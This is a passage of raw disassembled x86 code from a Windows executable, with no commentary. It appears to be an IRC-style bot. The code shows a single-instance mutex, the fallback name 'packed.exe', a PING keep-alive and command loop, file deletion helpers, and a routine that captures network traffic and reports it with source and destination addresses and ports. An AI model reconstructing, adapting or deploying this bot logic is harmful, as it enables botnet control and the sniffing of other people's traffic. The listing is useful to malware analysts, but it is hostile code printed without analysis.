[eax] push eax call dword_417238 ; htons movzx eax, ax movzx ecx, word ptr [ebp-1268h] cmp eax, ecx jnz short loc_416374 mov eax, [ebp-161Ch] mov eax, [eax+0Ch] cmp eax, [ebp-1618h] jnz short loc_416374 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416374: ; CODE XREF: cAddress:0041635Cj ; cAddress:0041636Dj push dword ptr [ebp-1624h] push dword ptr [ebp-1610h] push dword ptr [ebp-17ACh] push dword ptr [ebp-4] call sub_415EB7 add esp, 10h test eax, eax jz loc_416632 and dword ptr [ebp-19B8h], 0 jmp short loc_4163AF ; --------------------------------------------------------------------------- loc_4163A2: ; CODE XREF: cAddress:loc_416413j mov eax, [ebp-19B8h] inc eax mov [ebp-19B8h], eax loc_4163AF: ; CODE XREF: cAddress:004163A0j mov eax, [ebp-19B8h] cmp eax, [ebp-17ACh] jnb short loc_416415 mov eax, [ebp-4] add eax, [ebp-19B8h] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_4163DA mov eax, [ebp-4] add eax, [ebp-19B8h] mov byte ptr [eax], 2Dh loc_4163DA: ; CODE XREF: cAddress:004163CCj mov eax, [ebp-4] add eax, [ebp-19B8h] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_4163F7 mov eax, [ebp-4] add eax, [ebp-19B8h] mov byte ptr [eax], 3Eh loc_4163F7: ; CODE XREF: cAddress:004163E9j mov eax, [ebp-4] add eax, [ebp-19B8h] movsx eax, byte ptr [eax] test eax, eax jnz short loc_416413 mov eax, [ebp-4] add eax, [ebp-19B8h] mov byte ptr [eax], 2Eh loc_416413: ; CODE XREF: cAddress:00416405j jmp short loc_4163A2 ; --------------------------------------------------------------------------- loc_416415: ; CODE XREF: cAddress:004163BBj and dword ptr [ebp-19B8h], 0 mov eax, [ebp-19B8h] mov [ebp-17ACh], eax jmp short loc_416437 ; --------------------------------------------------------------------------- loc_41642A: ; CODE XREF: cAddress:00416470j ; cAddress:00416483j ... mov eax, [ebp-19B8h] inc eax mov [ebp-19B8h], eax loc_416437: ; CODE XREF: cAddress:00416428j mov eax, [ebp-4] add eax, [ebp-19B8h] movsx eax, byte ptr [eax] test eax, eax jnz short loc_41645F mov eax, [ebp-4] add eax, [ebp-17ACh] mov ecx, [ebp-4] add ecx, [ebp-19B8h] mov cl, [ecx] mov [eax], cl jmp short loc_4164AA ; --------------------------------------------------------------------------- loc_41645F: ; CODE XREF: cAddress:00416445j mov eax, [ebp-4] add eax, [ebp-19B8h] movsx eax, byte ptr [eax] cmp eax, 7Fh jl short loc_416472 jmp short loc_41642A ; --------------------------------------------------------------------------- loc_416472: ; CODE XREF: cAddress:0041646Ej mov eax, [ebp-4] add eax, [ebp-19B8h] movsx eax, byte ptr [eax] cmp eax, 1Fh jg short loc_416485 jmp short loc_41642A ; --------------------------------------------------------------------------- loc_416485: ; CODE XREF: cAddress:00416481j mov eax, [ebp-4] add eax, [ebp-17ACh] mov ecx, [ebp-4] add ecx, [ebp-19B8h] mov cl, [ecx] mov [eax], cl mov eax, [ebp-17ACh] inc eax mov [ebp-17ACh], eax jmp short loc_41642A ; --------------------------------------------------------------------------- loc_4164AA: ; CODE XREF: cAddress:0041645Dj cmp dword ptr [ebp-17ACh], 0 jnz short loc_4164B8 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4164B8: ; CODE XREF: cAddress:004164B1j push 100h mov eax, [ebp-161Ch] push dword ptr [eax+0Ch] call dword_41721C ; inet_ntoa push eax lea eax, [ebp-19B4h] push eax call sub_407A56 add esp, 0Ch push 100h mov eax, [ebp-161Ch] push dword ptr [eax+10h] call dword_41721C ; inet_ntoa push eax lea eax, [ebp-18B0h] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp-1628h] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax lea eax, [ebp-18B0h] push eax mov eax, [ebp-1628h] mov ax, [eax] push eax call dword_417238 ; htons movzx eax, ax push eax lea eax, [ebp-19B4h] push eax push offset dword_41D980 lea eax, [ebp-17A8h] push eax call sub_416B5E ; sprintf add esp, 18h mov [ebp-18B4h], eax mov eax, 180h sub eax, [ebp-18B4h] push eax push dword ptr [ebp-4] mov eax, [ebp-18B4h] lea eax, [ebp+eax-17A8h] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp-17A8h] push eax push offset aS ; "%s" lea eax, [ebp-140Ch] push eax call sub_40D53F add esp, 0Ch push 3E8h call dword_41709C ; Sleep mov eax, [ebp-1614h] cmp dword ptr [eax+4], 0 jz short loc_4165AD jmp loc_416655 ; --------------------------------------------------------------------------- loc_4165AD: ; CODE XREF: cAddress:004165A6j mov eax, 180h sub eax, [ebp-18B4h] dec eax mov [ebp-17B0h], eax loc_4165BF: ; CODE XREF: cAddress:00416630j mov eax, [ebp-17B0h] cmp eax, [ebp-17ACh] jnb short loc_416632 push 180h mov eax, [ebp-4] add eax, [ebp-17B0h] push eax lea eax, [ebp-17A8h] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp-17A8h] push eax push offset aS ; "%s" lea eax, [ebp-140Ch] push eax call sub_40D53F add esp, 0Ch push 3E8h call dword_41709C ; Sleep mov eax, [ebp-1614h] cmp dword ptr [eax+4], 0 jz short loc_41661F jmp short loc_416653 ; --------------------------------------------------------------------------- loc_41661F: ; CODE XREF: cAddress:0041661Bj mov eax, [ebp-17B0h] add eax, 17Fh mov [ebp-17B0h], eax jmp short loc_4165BF ; --------------------------------------------------------------------------- loc_416632: ; CODE XREF: cAddress:004162C4j ; cAddress:00416393j ... jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416637: ; CODE XREF: cAddress:00416212j ; cAddress:loc_416229j ... push dword ptr [ebp-104Ch] call dword_417230 ; closesocket push dword ptr [ebp-1614h] call sub_409763 pop ecx xor eax, eax jmp short loc_416657 ; --------------------------------------------------------------------------- loc_416653: ; CODE XREF: cAddress:0041661Dj jmp short loc_416637 ; --------------------------------------------------------------------------- loc_416655: ; CODE XREF: cAddress:004165A8j jmp short loc_416637 ; --------------------------------------------------------------------------- loc_416657: ; CODE XREF: cAddress:00415FD9j ; cAddress:00416026j ... pop edi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41665C proc near ; CODE XREF: sub_40A9CF+9FEp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push 3ABh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41667B jmp locret_41670F ; --------------------------------------------------------------------------- loc_41667B: ; CODE XREF: sub_41665C+18j cmp [ebp+arg_4], 0 jz short loc_41668F push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax jmp short loc_416696 ; --------------------------------------------------------------------------- loc_41668F: ; CODE XREF: sub_41665C+23j mov [ebp+var_8], 3 loc_416696: ; CODE XREF: sub_41665C+31j mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+4], ecx cmp [ebp+arg_8], 0 jz short loc_4166AD mov eax, [ebp+arg_8] mov [ebp+var_C], eax jmp short loc_4166B4 ; --------------------------------------------------------------------------- loc_4166AD: ; CODE XREF: sub_41665C+47j mov [ebp+var_C], offset byte_41DE00 loc_4166B4: ; CODE XREF: sub_41665C+4Fj push 200h push [ebp+var_C] mov eax, [ebp+var_4] add eax, 8 push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 208h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] push dword ptr [eax+4] push offset dword_41D9E8 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset loc_415F69 call sub_4095A4 add esp, 14h locret_41670F: ; CODE XREF: sub_41665C+1Aj leave retn sub_41665C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416711 proc near ; CODE XREF: sub_4167B9+6p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41673B push [ebp+var_4] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_41673D ; --------------------------------------------------------------------------- loc_41673B: ; CODE XREF: sub_416711+1Aj xor eax, eax locret_41673D: ; CODE XREF: sub_416711+28j leave retn sub_416711 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41673F proc near ; CODE XREF: sub_40A9CF+C23p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41679C push 2 push 0 push [ebp+var_4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_4] call sub_416B76 ; ftell pop ecx mov [ebp+var_8], eax push 0 push 0 push [ebp+var_4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_4] call sub_416B82 ; fclose pop ecx mov eax, [ebp+var_8] inc eax neg eax sbb eax, eax and eax, [ebp+var_8] jmp short locret_41679E ; --------------------------------------------------------------------------- loc_41679C: ; CODE XREF: sub_41673F+1Bj xor eax, eax locret_41679E: ; CODE XREF: sub_41673F+5Bj leave retn sub_41673F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167A0 proc near ; CODE XREF: sub_4167B9+13p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_4170AC ; DeleteFileA test eax, eax jz short loc_4167B5 push 1 pop eax jmp short loc_4167B7 ; --------------------------------------------------------------------------- loc_4167B5: ; CODE XREF: sub_4167A0+Ej xor eax, eax loc_4167B7: ; CODE XREF: sub_4167A0+13j pop ebp retn sub_4167A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167B9 proc near ; CODE XREF: sub_402698+1D9p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_416711 pop ecx test eax, eax jz short loc_4167D9 push [ebp+arg_0] call sub_4167A0 pop ecx neg eax sbb eax, eax inc eax jmp short loc_4167DB ; --------------------------------------------------------------------------- loc_4167D9: ; CODE XREF: sub_4167B9+Ej xor eax, eax loc_4167DB: ; CODE XREF: sub_4167B9+1Ej pop ebp retn sub_4167B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167DD proc near ; CODE XREF: sub_40A9CF+8E9p var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push dword ptr [eax] call sub_40ED38 pop ecx mov [ebp+var_4], eax leave retn sub_4167DD endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417298 push offset word_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx mov eax, 12DCh call sub_416BC0 push ebx push esi push edi mov [ebp-18h], esp push 2 call dword_4170F4 ; SetErrorMode and dword ptr [ebp-4], 0 push dword_41DA2C push dword_41DA28 push 3B7h push dword_41DA24 push 0 push dword_41DA20 push offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x" lea eax, [ebp-115Ch] push eax call sub_416B5E ; sprintf add esp, 20h and dword ptr [ebp-1128h], 0 jmp short loc_416875 ; --------------------------------------------------------------------------- loc_416868: ; CODE XREF: cAddress:loc_4168BAj mov eax, [ebp-1128h] inc eax mov [ebp-1128h], eax loc_416875: ; CODE XREF: cAddress:00416866j cmp dword ptr [ebp-1128h], 0Ah jnz short loc_416883 call sub_407148 loc_416883: ; CODE XREF: cAddress:0041687Cj push 3E8h call dword_41709C ; Sleep lea eax, [ebp-115Ch] push eax push 0 push 0 call dword_4170F8 ; CreateMutexA mov [ebp-12F0h], eax cmp dword ptr [ebp-12F0h], 0 jz short loc_4168BA call dword_417064 ; RtlGetLastWin32Error test eax, eax jnz short loc_4168BA jmp short loc_4168BC ; --------------------------------------------------------------------------- loc_4168BA: ; CODE XREF: cAddress:004168ACj ; cAddress:004168B6j jmp short loc_416868 ; --------------------------------------------------------------------------- loc_4168BC: ; CODE XREF: cAddress:004168B8j call sub_403BD3 call sub_405FA3 call sub_40938F call sub_412FC6 call sub_4102AE call sub_40E979 push 10h push offset dword_41DA20 call sub_41055F pop ecx pop ecx push 10h push offset dword_41DA20 call sub_40ECEB pop ecx pop ecx push 10h push offset dword_41DA20 call sub_40ED6E pop ecx pop ecx call sub_410422 mov dword_41EC00, eax call sub_410422 mov dword_41EC04, eax call sub_410422 mov dword_41EC08, eax call sub_410422 mov dword_41EC0C, eax push 104h lea eax, [ebp-1120h] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA test eax, eax jnz short loc_416961 push offset byte_41DE00 push offset aPacked_exe ; "packed.exe" call sub_416B3A ; _mbscpy pop ecx pop ecx jmp loc_4169E1 ; --------------------------------------------------------------------------- loc_416961: ; CODE XREF: cAddress:00416949j lea eax, [ebp-1120h] push eax call sub_416B40 ; strlen pop ecx mov [ebp-12F4h], eax jmp short loc_416983 ; --------------------------------------------------------------------------- loc_416976: ; CODE XREF: cAddress:loc_4169DFj mov eax, [ebp-12F4h] dec eax mov [ebp-12F4h], eax loc_416983: ; CODE XREF: cAddress:00416974j cmp dword ptr [ebp-12F4h], 0 jnz short loc_41699F push offset byte_41DE00 push offset aPacked_exe ; "packed.exe" call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4169E1 ; --------------------------------------------------------------------------- loc_41699F: ; CODE XREF: cAddress:0041698Aj mov eax, [ebp-12F4h] movsx eax, byte ptr [ebp+eax-1121h] cmp eax, 5Ch jnz short loc_4169DF mov eax, [ebp-12F4h] lea eax, [ebp+eax-1120h] push eax push offset aPacked_exe ; "packed.exe" call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aPacked_exe ; "packed.exe" push offset aPacked_exe_0 ; "packed.exe" call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4169E1 ; --------------------------------------------------------------------------- loc_4169DF: ; CODE XREF: cAddress:004169B0j jmp short loc_416976 ; --------------------------------------------------------------------------- loc_4169E1: ; CODE XREF: cAddress:0041695Cj ; cAddress:0041699Dj ... call sub_406E8E lea eax, [ebp-12ECh] push eax push 202h call dword_417264 ; WSAStartup loc_4169F8: ; CODE XREF: cAddress:00416A43j ; cAddress:00416AA7j push 0 push 0 push 0 call sub_40D366 add esp, 0Ch call sub_409226 and dword ptr [ebp-1124h], 0 and dword ptr [ebp-101Ch], 0 mov dword ptr [ebp-4], 1 loc_416A20: ; CODE XREF: cAddress:loc_416A6Fj ; cAddress:00416AC0j push 0EA60h call sub_40CF25 push eax call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_416A71 cmp dword ptr [ebp-101Ch], 19h jnz short loc_416A45 and dword ptr [ebp-4], 0 jmp short loc_4169F8 ; --------------------------------------------------------------------------- loc_416A45: ; CODE XREF: cAddress:00416A3Dj cmp dword ptr [ebp-101Ch], 14h jnz short loc_416A62 call sub_410422 push eax push offset aPing08x ; "PING :%08X" call sub_40D6CB pop ecx pop ecx jmp short loc_416A6F ; --------------------------------------------------------------------------- loc_416A62: ; CODE XREF: cAddress:00416A4Cj mov eax, [ebp-101Ch] inc eax mov [ebp-101Ch], eax loc_416A6F: ; CODE XREF: cAddress:00416A60j jmp short loc_416A20 ; --------------------------------------------------------------------------- loc_416A71: ; CODE XREF: cAddress:00416A34j push 1000h lea eax, [ebp-1018h] push eax call sub_40CF25 push eax call sub_4053DC add esp, 0Ch mov [ebp-1124h], eax cmp dword ptr [ebp-1124h], 0 jz short loc_416AA3 cmp dword ptr [ebp-1124h], 0FFFFFFFFh jnz short loc_416AAC loc_416AA3: ; CODE XREF: cAddress:00416A98j and dword ptr [ebp-4], 0 jmp loc_4169F8 ; --------------------------------------------------------------------------- loc_416AAC: ; CODE XREF: cAddress:00416AA1j and dword ptr [ebp-101Ch], 0 lea eax, [ebp-1018h] push eax call sub_40E943 pop ecx jmp loc_416A20 ; --------------------------------------------------------------------------- aHhA db 'hhÝA',0 ; DATA XREF: cAddress:004172A8o dw 1868h dword_416ACC dd 0FF0041C3h, 54E8EC75h, 83FFFEC8h, 8BC30CC4h, 6583E865h ; DATA XREF: cAddress:004172ACo dd 32E900FCh, 68FFFFFFh, 41DD60h, 41C31868h, 0EC75FF00h dd 0FEC832E8h, 0CC483FFh, 0E8658BC3h, 0FFFC4D83h, 0DE083D83h dd 74000041h, 0DD206811h, 80680041h, 0E80041DAh, 0FFFF698Fh dd 15FF5959h, 417254h, 0D1E8006Ah, 8B000000h, 8964F04Dh dd 0Dh, 5B5E5F00h db 0C9h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B3A proc near ; CODE XREF: sub_401000+3Cp ; cAddress:00402124p ... jmp dword_41712C sub_416B3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B40 proc near ; CODE XREF: sub_401146+7Ap ; sub_4017AA+Ep ... jmp dword_4171BC sub_416B40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B46 proc near ; CODE XREF: cAddress:004012C9p ; sub_4017AA+22p ... jmp dword_4171B8 sub_416B46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B4C proc near ; CODE XREF: cAddress:00401269p ; cAddress:00401722p ... jmp dword_4171B4 sub_416B4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B52 proc near ; CODE XREF: cAddress:0040125Ep ; cAddress:00401999p ... jmp dword_4171B0 sub_416B52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B58 proc near ; CODE XREF: sub_4017AA+5Ap ; sub_4024F3+88p ... jmp dword_4171AC sub_416B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B5E proc near ; CODE XREF: sub_4018AF+9Fp ; cAddress:00405816p ... jmp dword_4171A8 sub_416B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B64 proc near ; CODE XREF: sub_4018AF+3Bp ; sub_4018AF+5Dp ... jmp dword_4171A4 sub_416B64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B6A proc near ; CODE XREF: cAddress:00401AC6p ; cAddress:00401AD9p ... jmp dword_4171A0 sub_416B6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B70 proc near ; CODE XREF: sub_401D6E+A5p ; sub_403260+4Cp ... jmp dword_41719C sub_416B70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B76 proc near ; CODE XREF: cAddress:00401FE3p ; cAddress:00402268p ... jmp dword_417198 sub_416B76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B7C proc near ; CODE XREF: cAddress:00401FB1p ; sub_402698+24Cp ... jmp dword_417194 sub_416B7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B82 proc near ; CODE XREF: cAddress:00401ED5p ; cAddress:0040209Ap ... jmp dword_417190 sub_416B82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B88 proc near ; CODE XREF: cAddress:00401E7Ap ; cAddress:0040221Bp ... jmp dword_41718C sub_416B88 endp ; --------------------------------------------------------------------------- dw 0CCCCh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B90 proc near ; CODE XREF: cAddress:00402383p ; sub_41102F+94p ... jmp dword_417188 sub_416B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B96 proc near ; CODE XREF: cAddress:0040225Ap ; cAddress:0040227Ep ... jmp dword_417184 sub_416B96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B9C proc near ; CODE XREF: sub_4024F3+26p ; sub_4024F3+46p ... jmp dword_417180 sub_416B9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BA2 proc near ; CODE XREF: sub_402698+160p ; sub_40CA29+F6p ... jmp dword_41717C sub_416BA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BA8 proc near ; CODE XREF: sub_402698+CCp ; sub_402698+110p ... jmp dword_417178 sub_416BA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BAE proc near ; CODE XREF: sub_402698+4Bp ; cAddress:0040878Cp ... jmp dword_417174 sub_416BAE endp ; --------------------------------------------------------------------------- dd 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_416BC0 proc near ; CODE XREF: cAddress:00403DFBp ; sub_40546E+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_416BE0 loc_416BCC: ; CODE XREF: sub_416BC0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_416BCC loc_416BE0: ; CODE XREF: sub_416BC0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_416BC0 endp ; --------------------------------------------------------------------------- db 0CCh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BF0 proc near ; CODE XREF: sub_4041B7+Dp ; sub_4041B7+28p ... jmp dword_417170 sub_416BF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BF6 proc near ; CODE XREF: sub_406041+67p jmp dword_41716C sub_416BF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BFC proc near ; CODE XREF: sub_406E8E+2B3p jmp dword_417168 sub_416BFC endp ; --------------------------------------------------------------------------- dw 0CCCCh dd 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_416C10 proc near ; CODE XREF: sub_40821B+61p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_416C31 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_416C81 ; --------------------------------------------------------------------------- loc_416C31: ; CODE XREF: sub_416C10+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_416C3F: ; CODE XREF: sub_416C10+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_416C3F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_416C6A cmp edx, [esp+4+arg_4] ja short loc_416C6A jb short loc_416C72 cmp eax, [esp+4+arg_0] jbe short loc_416C72 loc_416C6A: ; CODE XREF: sub_416C10+4Aj ; sub_416C10+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_416C72: ; CODE XREF: sub_416C10+52j ; sub_416C10+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_416C81: ; CODE XREF: sub_416C10+1Fj pop ebx retn 10h sub_416C10 endp ; --------------------------------------------------------------------------- db 3 dup(0CCh) dd 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_416C90 proc near ; CODE XREF: sub_40821B+30p ; sub_40821B+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_416CB2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_416CF3 ; --------------------------------------------------------------------------- loc_416CB2: ; CODE XREF: sub_416C90+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_416CC0: ; CODE XREF: sub_416C90+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_416CC0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_416CEE cmp edx, [esp+8+arg_4] ja short loc_416CEE jb short loc_416CEF cmp eax, [esp+8+arg_0] jbe short loc_416CEF loc_416CEE: ; CODE XREF: sub_416C90+4Ej ; sub_416C90+54j dec esi loc_416CEF: ; CODE XREF: sub_416C90+56j ; sub_416C90+5Cj xor edx, edx mov eax, esi loc_416CF3: ; CODE XREF: sub_416C90+20j pop esi pop ebx retn 10h sub_416C90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416CF8 proc near ; CODE XREF: sub_4088FC+1FAp ; sub_409226+5Cp ... jmp dword_417164 sub_416CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416CFE proc near ; CODE XREF: sub_409226+55p ; sub_4092A4+55p ... jmp dword_417160 sub_416CFE endp ; --------------------------------------------------------------------------- dd 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_416D10 proc near ; CODE XREF: sub_409226+42p ; sub_4092A4+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_416D31 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_416D31: ; CODE XREF: sub_416D10+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_416D4D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_416D4D: ; CODE XREF: sub_416D10+27j or eax, eax jnz short loc_416D69 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_416DAA ; --------------------------------------------------------------------------- loc_416D69: ; CODE XREF: sub_416D10+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_416D77: ; CODE XREF: sub_416D10+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_416D77 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_416DA5 cmp edx, [esp+0Ch+arg_4] ja short loc_416DA5 jb short loc_416DA6 cmp eax, [esp+0Ch+arg_0] jbe short loc_416DA6 loc_416DA5: ; CODE XREF: sub_416D10+85j ; sub_416D10+8Bj dec esi loc_416DA6: ; CODE XREF: sub_416D10+8Dj ; sub_416D10+93j xor edx, edx mov eax, esi loc_416DAA: ; CODE XREF: sub_416D10+57j dec edi jnz short loc_416DB4 neg edx neg eax sbb edx, 0 loc_416DB4: ; CODE XREF: sub_416D10+9Bj pop ebx pop esi pop edi retn 10h sub_416D10 endp ; --------------------------------------------------------------------------- word_416DBA dw 25FFh ; DATA XREF: cAddress:004093C0o ; cAddress:004094F0o ... dd offset dword_41715C ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DC0 proc near ; CODE XREF: sub_409479+41p ; sub_4095A4+162p jmp dword_417158 sub_416DC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DC6 proc near ; CODE XREF: sub_4095A4+11Bp jmp dword_417154 sub_416DC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DCC proc near ; CODE XREF: sub_409CB1+105p ; sub_409CB1+114p jmp dword_417150 sub_416DCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DD2 proc near ; CODE XREF: sub_409CB1+42p ; sub_409CB1+88p jmp dword_41714C sub_416DD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DD8 proc near ; CODE XREF: sub_409CB1+1Ap ; cAddress:00409F0Bp jmp dword_417148 sub_416DD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DDE proc near ; CODE XREF: sub_40A2D2+13Ep ; sub_40A9CF+1F6p ... jmp dword_417144 sub_416DDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DE4 proc near ; CODE XREF: sub_40A8AD+90p jmp dword_417140 sub_416DE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DEA proc near ; CODE XREF: sub_40A9CF+185Cp jmp dword_41713C sub_416DEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DF0 proc near ; CODE XREF: sub_40D420+47p ; sub_40D4AB+50p ... jmp dword_417138 sub_416DF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DF6 proc near ; CODE XREF: sub_40EF59+6Bp ; sub_40EF59+C1p jmp dword_417134 sub_416DF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DFC proc near ; CODE XREF: sub_40F040+52p ; sub_40F040+A8p jmp dword_417130 sub_416DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416E02 proc near ; 